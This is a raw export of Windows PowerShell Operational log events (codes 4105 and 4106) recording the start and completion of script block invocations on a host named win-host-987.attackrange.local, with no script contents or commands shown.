SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024995
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024994
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024993
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024992
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024991
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024990
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024989
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024988
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024987
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024986
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024985
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024984
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024983
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024982
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024981
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024980
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024979
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024978
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024977
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024976
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024975
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024974
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024973
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024972
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024971
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024970
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024969
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024968
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024967
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024966
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024965
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024964
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024963
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024962
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024961
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024960
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024959
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024958
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024957
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024956
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024955
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024954
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024953
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024952
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024951
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024950
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024949
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024948
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024947
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024946
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024945
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024944
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024943
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024942
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
